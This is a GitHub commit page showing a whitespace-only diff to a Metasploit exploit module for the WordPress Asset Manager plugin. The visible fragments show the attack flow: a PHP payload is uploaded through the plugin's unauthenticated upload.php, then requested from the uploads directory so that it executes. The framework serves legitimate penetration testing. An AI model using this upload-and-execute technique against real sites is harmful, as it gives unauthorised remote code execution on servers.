Skip to content

Commit 2682908

Browse files
committed
Small corrections here and there
1 parent 5b8492f commit 2682908

File tree

1 file changed

+9
-9
lines changed

1 file changed

+9
-9
lines changed

modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
# This file is part of the Metasploit Framework and may be subject to
33
# redistribution and commercial restrictions. Please see the Metasploit
44
# Framework web site for more information on licensing and terms of use.
5-
# http://metasploit.com/framework/
5+
# http://metasploit.com/framework/
66
##
77

88
require 'msf/core'
@@ -24,7 +24,7 @@ def initialize(info = {})
2424
},
2525
'Author' =>
2626
[
27-
'Sammy FORGIT', # initial discovery
27+
'Sammy FORGIT', # initial discovery
2828
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
2929
],
3030
'License' => MSF_LICENSE,
@@ -40,7 +40,7 @@ def initialize(info = {})
4040
'BadChars' => "\x00",
4141
},
4242
'Platform' => 'php',
43-
'Arch' => ARCH_PHP,
43+
'Arch' => ARCH_PHP,
4444
'Targets' =>
4545
[
4646
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
@@ -68,10 +68,10 @@ def exploit
6868

6969
print_status("#{peer} - Uploading payload #{payload_name}")
7070
res = send_request_cgi({
71-
'method' => 'POST',
72-
'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
73-
'ctype' => "multipart/form-data; boundary=#{data.bound}",
74-
'data' => post_data
71+
'method' => 'POST',
72+
'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
73+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
74+
'data' => post_data
7575
})
7676

7777
if not res or res.code != 200 or res.body !~ /#{payload_name}/
@@ -80,8 +80,8 @@ def exploit
8080

8181
print_status("#{peer} - Executing payload #{payload_name}")
8282
res = send_request_raw({
83-
'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
84-
'method' => 'GET'
83+
'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
84+
'method' => 'GET'
8585
})
8686

8787
if res and res.code != 200

0 commit comments

Comments
 (0)